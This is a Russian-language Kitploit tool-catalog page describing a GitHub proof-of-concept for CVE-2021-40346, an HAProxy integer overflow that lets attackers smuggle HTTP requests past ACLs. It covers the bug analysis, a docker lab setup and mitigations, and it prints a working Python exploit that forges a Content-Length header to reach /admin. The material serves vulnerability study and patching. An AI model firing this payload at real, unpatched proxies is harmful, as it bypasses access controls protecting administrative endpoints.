Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-40346 — PoC-эксплойт для CVE-2021-40346: целочисленное переполнение в HAProxy, позволяющее осуществить контрабанду HTTP-запросов и обход ACL. Включает анализ, шаги по воспроизведению и рекомендации по смягчению. | Kitploit
Инструменты/GitHubGitHub/jmg0929/cve-2021-40346
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и Образование
GitHubjmg0929/cve-2021-40346

CVE-2021-40346

PoC-эксплойт для CVE-2021-40346: целочисленное переполнение в HAProxy, позволяющее осуществить контрабанду HTTP-запросов и обход ACL. Включает анализ, шаги по воспроизведению и рекомендации по смягчению.

Репозиторий
12 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-40346 — Целочисленное переполнение HAProxy, приводящее к HTTP-смагглингу

Краткое описание уязвимости

  • HAProxy — это программное обеспечение с открытым исходным кодом, выполняющее функции обратного прокси-сервера и балансировщика нагрузки, отвечающее за распределение нагрузки и обработку ACL (правил контроля доступа).
  • CVE-2021-40346 — это уязвимость обхода контроля доступа (ACL Bypass), возникающая в функции htx_add_header(), которая сохраняет HTTP-заголовки во внутреннем формате HTX, из-за отсутствия проверки длины имени заголовка.
  • Эта уязвимость оценивается как простая в эксплуатации, но обладающая высокой разрушительной силой: она позволяет атакующему выполнить произвольный запрос на бэкенде, просто увеличив длину имени заголовка в HTTP-запросе до определённого условия.
  • Справочные материалы: https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021-40346-integer-overflow-enables-http-smuggling/

Условия уязвимости

  • Затронутые версии: HAProxy 2.0 и выше до 2.5 (включая dev6)
  • Настройка ACL: На фронтенде должны быть заданы правила контроля доступа на основе http-request (например, ) — эти правила будут обойдены.
path_beg /admin

Анализ

Когда HAProxy сохраняет HTTP-заголовки во внутреннем формате HTX, он записывает длину имени заголовка в 8-битное поле (максимум 255). В функции htx_add_header() отсутствует проверка этой длины, поэтому при отправке имени длиной более 256 байт происходит целочисленное переполнение, и переполненные биты перетекают в соседнее поле длины значения.

Если сделать имя заголовка длиной ровно 270 байт (270 mod 256 = 14), HAProxy ошибочно интерпретирует его как "Content-Length" (14 символов) и считывает 1 байт, испорченный переполнением, в качестве значения. Разместив в этом месте "0", можно создать поддельный заголовок Content-Length: 0.

Если после этого поддельного заголовка отправить настоящий заголовок Content-Length, HAProxy примет первый из дублирующихся заголовков (поддельный 0) и отбросит настоящий. При этом процесс чтения фактического тела запроса от клиента работает корректно на основе исходного текста, но в заголовках, передаваемых бэкенду, записывается поддельное значение (0), что приводит к несоответствию между "фактическим размером полученного тела" и "размером, сообщённым бэкенду".

Бэкенд, доверяя сообщённому значению (0), считает, что запрос завершён, и затем интерпретирует данные, которые на самом деле были телом запроса, как совершенно новый запрос. Поскольку ACL HAProxy проверяют только исходную строку запроса до этого момента, скрытый второй запрос достигает бэкенда, не пройдя проверку. В результате все настроенные ACL http-request обходятся.

Настройка среды и процедура воспроизведения

  • Выполните docker compose up --build -d для запуска уязвимой тестовой среды (haproxy ver.2.2.16 / backend: gunicorn)

  • Проверьте активность HAProxy и бэкенд-сервера с помощью следующего кода:

    root@kitploit:~
    until curl -s -o /dev/null http://localhost:8080/; do sleep 1; done
    echo "준비 완료"
    
  • Выполните PoC-скрипт: python3 poc.py --host 127.0.0.1 --port 8080

  • Проверьте логи бэкенда с помощью docker logs cve-2021-40346-backend --tail 5, чтобы убедиться, что запрос /admin действительно был обработан.

PoC-код

root@kitploit:~
import socket

HOST = "127.0.0.1"
PORT = 8080

# 이름을 270바이트로 만들면 8비트 이름 길이 필드가 오버플로우되어
# HAProxy가 이걸 "Content-Length: 0" 헤더로 착각한다.
fake_name = b"Content-Length" + b"0" + b"a" * 255   # 14 + 1 + 255 = 270 bytes

hidden_request = b"GET /admin HTTP/1.1\r\nHost: abc.com\r\nConnection: close\r\n\r\n"

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: abc.com\r\n"
    + fake_name + b":\r\n"
    + b"Content-Length: " + str(len(hidden_request)).encode() + b"\r\n"
    b"\r\n"
    + hidden_request
)

with socket.create_connection((HOST, PORT), timeout=5) as s:
    s.sendall(payload)
    print(s.recv(4096).decode(errors="replace"))

Результат выполнения

Результат выполнения Как показано выше, бэкенд обработал GET-запрос к admin, доступ к которому был ограничен.

Меры по устранению

  • Обновление версии: Немедленно обновитесь до 2.0.25 / 2.2.17 / 2.3.14 / 2.4.4 и выше (проблема фундаментально решена добавлением проверки длины имени/значения в htx_add_header())
  • Глубинная защита: Не полагайтесь только на ACL прокси, реализуйте двойную логику аутентификации/авторизации непосредственно в приложении бэкенда.
Скачать инструмент